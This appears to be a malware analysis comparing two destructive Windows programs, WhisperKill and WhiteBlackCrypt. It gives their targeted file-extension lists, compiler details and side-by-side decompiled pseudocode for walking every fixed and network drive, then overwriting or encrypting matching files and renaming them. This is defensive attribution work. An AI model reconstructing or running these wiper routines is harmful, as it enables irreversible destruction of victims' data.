WhisperKill and WhiteBlackCrypt Comparison Table

.HTML .HTM .SHTML .XHTML .PHTML .PHP .JSP .ASP .PHPS .PHP5 .ASPX .PHP4 .PHP6 .PHP7 .PHP3 .DOC .DOCX .XLS .XLSX .PPT .PPTX .PST .OST .MSG .EML .VSD .VSDX .TXT .CSV .RTF .WKS .WK1 .PDF .DWG .ONETOC2 .SNT .JPEG .JPG .DOCB .DOCM .DOT .DOTM .DOTX .XLSM .XLSB .XLW .XLT .XLM .XLC .XLTX .XLTM .PPTM .POT .PPS .PPSM .PPSX .PPAM .POTX .POTM .EDB .HWP .602 .SXI .STI .SLDX .SLDM .BMP .PNG .GIF .RAW .CGM .SLN .TIF .TIFF .NEF .PSD .AI .SVG .DJVU.SH .CLASS .JAR .BRD .SCH .DCH .DIP .PL .VB .VBS .PS1 .BAT .CMD .JS .ASM .H .PAS .CPP .C .CS .SUO .ASC .LAY6 .LAY .MML .SXM .OTG .ODG .UOP .STD .SXD .OTP .ODP .WB2 .SLK .DIF .STC .SXC .OTS .ODS .3DM .MAX .3DS .UOT .STW .SXW .OTT .ODT .PEM .P12 .CSR .CRT .KEY .PFX .DER .OGG .RB .GO .JAVA .INC .WAR .PY .KDBX .INI .YML .PPK .LOG .VDI .VMDK .VHD .HDD .NVRAM .VMSD .VMSN .VMSS .VMTM .VMX .VMXF .VSWP .VMTX .VMEM .MDF .IBD .MYI .MYD .FRM .SAV .ODB .DBF .DB .MDB .ACCDB .SQL .SQLITEDB .SQLITE3 .LDF .SQ3 .ARC .PAQ .BZ2 .TBK .BAK .TAR .TGZ .GZ .7Z .RAR .ZIP .BACKUP .ISO .VCD .BZ .CONFIG	.3DM .3DS .ACCDB .ARC .ASF .ASM .ASP .AVI .BACKUP .BAK .BAT .BMP .CLASS .CMD .CPP .CRT .CSR .CSS .CSV .DBF .DER .DIF .DOC .DOCM .DOCX .DOT .DOTM .DWG .EML .FLA .FLV .FRM .GIF .HTML .HWP .ISO .JAR .JAVA .JPEG .JPG .JSP .KEY .LDF .M3U .M4U .MAX .MDB .MDF .MID .MKV .MOV .MP3 .MP4 .MPEG .MPG .MSG .MYD .MYI .ODB .ODP .ODS .ODT .P12 .PAS .PDF .PEM .PFX .PHP .PNG .POT .PPS .PPSM .PPSX .PPT .PPTM .PPTX .PSD .PST .RAR .RAW .RTF .SCH .SLDM .SLDX .SLK .SQL .SQLITE3 .STC .STD .STI .STW .SVG .SWF .SXC .SXD .SXI .SXM .SXW .TAR .TGZ .TIF .TIFF .TXT .VBS .VDI .VMDK .VOB .WAV .WB2 .WK1 .WKS .WMA .WMV .XLC .XLM .XLS .XLSB .XLSM .XLSX .XLT .XLTM .XLTX .XLW .ZIP
compiler MinGW(GCC: (GNU) 6.3.0)[-] S linker GNU linker ld (GNU Binutils)(2.28)[Console32,console] S	compiler MinGW(GCC: (x86_64-posix-seh-rev0, Built by MinGW-W64 pr)[-] S linker GNU linker ld (GNU Binutils)(2.30)[GUI64] S

```
int __cdecl IsDirectory(wchar_t *FileName)
{
  int v1; // eax
  unsigned __int8 v2; // dl
  struct _stat32 Stat; // [esp+1Ch] [ebp-2Ch] BYREF

  v1 = wstat(FileName, &Stat);
  v2 = 0;
  if ( !v1 )
    return (Stat.st_mode & 0xF000) == 0x4000;
  return v2;
}
```

```
__int64 __fastcall IsDirectory(char *a1)
{
  int v1; // eax
  unsigned int v2; // edx
  int v4; // [rsp+20h] [rbp-38h] BYREF
  __int16 v5; // [rsp+26h] [rbp-32h]

  v1 = wstat(a1, (_dev_t *)&v4);
  v2 = 0;
  if ( !v1 )
    return (v5 & 0xF000) == 0x4000;
  return v2;
}
```

```
void __cdecl WhisperKill_DestroyFileIfHasKnownFileExt(wchar_t *a1)
{
  int index; // ebx
  __int16 *String2; // esi

  index = 0;
  String2 = (__int16 *)sub_4014B6(a1);
  sub_401492(String2);
  while ( wcscmp(KNOWN_EXT[index], (const wchar_t *)String2) )
  {
    if ( ++index == 195 )
      return;
  }
  WhisperKill_OverwriteFile(a1);
}
```

```
int __fastcall Encrpt3d_DestroyFileIfHasKnownFileExt(char *OldFilename)
{
  __int64 v1; // rbx
  char *fileext; // rsi
  int result; // eax

  v1 = 0i64;
  fileext = sub_401C4E(OldFilename);
  sub_401C77(fileext);
  while ( 1 )
  {
    result = strcmp(KNOWN_EXT[v1], fileext);
    if ( !result )
      break;
    if ( ++v1 == 185 )
      return result;
  }
  return Encrpt3d_OverwriteFile(OldFilename);
}
```

```
int __cdecl WhisperKill_DestroyRecursive(LPCWSTR lpFileName)
{
  int result; // eax
  size_t v2; // ebx
  size_t v3; // esi
  wchar_t *filepath; // ebx
  int v5; // eax
  size_t v6; // [esp+18h] [ebp-290h]
  HANDLE hFindFile; // [esp+1Ch] [ebp-28Ch]
  wchar_t windows_dir[11]; // [esp+2Ah] [ebp-27Eh] BYREF
  struct _WIN32_FIND_DATAW FindFileData; // [esp+40h] [ebp-268h] BYREF

  hFindFile = FindFirstFileW(lpFileName, &FindFileData);
  result = (int)hFindFile + 1;
  if ( hFindFile != (HANDLE)-1 )
  {
    do
    {
      if ( wcscmp(FindFileData.cFileName, strDot) )
      {
        if ( wcscmp(FindFileData.cFileName, L"..") )
        {
          if ( wcscmp(FindFileData.cFileName, strDollarSign) )
          {
            v2 = wcslen(FindFileData.cFileName);
            v3 = wcslen(lpFileName);
            v6 = v2 + v3;
            filepath = (wchar_t *)malloc(2 * (v2 + v3 + 4));
            wcscpy(filepath, lpFileName);
            filepath[v3 - 1] = 0;
            wcscat(filepath, FindFileData.cFileName);
            qmemcpy(windows_dir, L"A:\\Windows", sizeof(windows_dir));
            windows_dir[0] = *wgetenv(L"HOMEDRIVE");
            if ( wcscmp(filepath, windows_dir) )
            {
              if ( IsDirectory(filepath) )
              {
                v5 = v6 + 0x7FFFFFFF;
                filepath[v5] = '\\';
                filepath[v5 + 1] = '*';
                filepath[v5 + 2] = 0;
                WhisperKill_DestroyRecursive(filepath);
              }
              else
              {
                WhisperKill_DestroyFileIfHasKnownFileExt(filepath);
              }
              free(filepath);
            }
          }
        }
      }
    }
    while ( FindNextFileW(hFindFile, &FindFileData) );
    return FindClose(hFindFile);
  }
  return result;
}
```

```
char *__fastcall Encrpt3d_DestroyRecursive(char *a1)
{
  char *result; // rax MAPDST
  __int64 findfiledata; // rax
  const char *v5; // rbp
  size_t v6; // rbx
  char *filepath; // rsi

  result = Encrpt3d_GetFolderAttributes(a1);
  if ( result )
  {
    while ( 1 )
    {
      findfiledata = Encrpt3d_FindNextFile((__int64)result);
      if ( !findfiledata )
        break;
      v5 = (const char *)(findfiledata + 8);
      if ( strcmp((const char *)(findfiledata + 8), ".") && strcmp(v5, "..") )
      {
        v6 = (int)(strlen(v5) + 1 + strlen(a1) + 1);
        filepath = (char *)malloc(v6);
        memset(filepath, 0, v6);
        strcpy(filepath, a1);
        strcat(filepath, "\\");
        strcat(filepath, v5);
        if ( (unsigned int)IsDirectory(filepath) )
          Encrpt3d_DestroyRecursive(filepath);
        else
          Encrpt3d_DestroyFileIfHasKnownFileExt(filepath);
        free(filepath);
      }
    }
    return (char *)free_0(result);
  }
  return result;
}
```

```
UINT WhisperKill_FileDestroyer()
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  LogicalDrives = GetLogicalDrives();
  qmemcpy(RootPathName, "A", 0xAu);
  RootPathName[3] = 0;
  for ( i = 0; i != 26; ++i )
  {
    result = (__int64)pow(2.0, (double)i);
    if ( (LogicalDrives & result) != 0 )
    {
      RootPathName[0] = i + 'A';
      if ( GetDriveTypeW(RootPathName) == DRIVE_FIXED || (result = GetDriveTypeW(RootPathName), result == DRIVE_REMOTE) )
      {
        RootPathName[3] = '*';
        result = WhisperKill_DestroyRecursive(RootPathName);
        RootPathName[3] = 0;
      }
    }
  }
  return result;
}
```

```
__int64 Encrpt3d_FileDestroyer()
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  driveIndex = 0;
  qword_409980 = (__int64)Encrpt3d_AllocateBufferWithRandomData(16);
  qword_409A68 = (__int64)Encrpt3d_AllocateBufferWithRandomData(32);
  sub_401A18((__int64)&unk_4099A0, qword_409A68, (_OWORD *)qword_409980);
  v1 = getenv("USERPROFILE");
  Encrpt3d_DestroyRecursive(v1);
  strcpy(RootPathName, "A:\\");
  LogicalDrives = GetLogicalDrives();
  do
  {
    if ( ((int)((__m128d (__fastcall *)(double, double))pow)(2.0, (double)driveIndex).m128d_f64[0] & LogicalDrives) != 0 )
    {
      RootPathName[0] = driveIndex + 65;
      if ( GetDriveTypeA(RootPathName) == DRIVE_FIXED || GetDriveTypeA(RootPathName) == DRIVE_REMOTE )
      {
        v3 = getenv("HOMEDRIVE");
        if ( *v3 != RootPathName[0] )
          Encrpt3d_DestroyRecursive(RootPathName);
      }
    }
    ++driveIndex;
  }
  while ( driveIndex != 26 );
  v4 = (_DWORD *)qword_409980;
  result = 0i64;
  for ( i = 4i64; i; --i )
    *v4++ = 0;
  v7 = 8i64;
  v8 = (_DWORD *)qword_409A68;
  while ( v7 )
  {
    *v8++ = 0;
    --v7;
  }
  return result;
}
```

```
void __cdecl WhisperKill_OverwriteFile(wchar_t *FileName)
{
  size_t v1; // eax
  wchar_t *v2; // esi
  int v3; // edi
  size_t v4; // eax
  void *v5; // [esp+28h] [ebp-20h]
  FILE *Stream; // [esp+2Ch] [ebp-1Ch]

  v1 = wcslen(FileName);
  v2 = (wchar_t *)malloc(2 * (v1 + 20));
  v3 = rand();
  v4 = wcslen(FileName);
  swprintf(v2, (const size_t)"%", (const wchar_t *const)(v4 - 4), FileName, v3);
  Stream = wfopen(FileName, L"wb");
  v5 = malloc(0x100000u);
  memset(v5, 0xCC, 0x100000u);
  fwrite(v5, 1u, 0x100000u, Stream);
  fclose(Stream);
  wrename(FileName, v2);
  free(v2);
  free(v5);
}
```

```
int __fastcall Encrpt3d_OverwriteFile(char *OldFilename)
{
  int v1; // esi
  FILE *v3; // rbx
  void *v4; // rdi
  unsigned int v5; // eax
  unsigned int v6; // er12
  char *v7; // rax
  char *v8; // rax
  char *v9; // rax

  v1 = 0;
  v3 = fopen(OldFilename, "r+b");
  v4 = malloc(0x2000000ui64);
  while ( 1 )
  {
    v5 = fread(v4, 1ui64, 0x2000000ui64, v3);
    v6 = v5;
    if ( !v5 || v1 > 0x3FFFFFFF )
      break;
    sub_401B22(&unk_4099A0, v4, v5);
    fseek(v3, v1, 0);
    v1 += v6;
    fwrite(v4, 1ui64, (int)v6, v3);
    fseek(v3, v1, 0);
  }
  free(v4);
  fclose(v3);
  v7 = (char *)malloc(strlen(OldFilename) + 10);
  v8 = strcpy(v7, OldFilename);
  v9 = strcat(v8, ".encrpt3d");
  return rename(OldFilename, v9);
}
```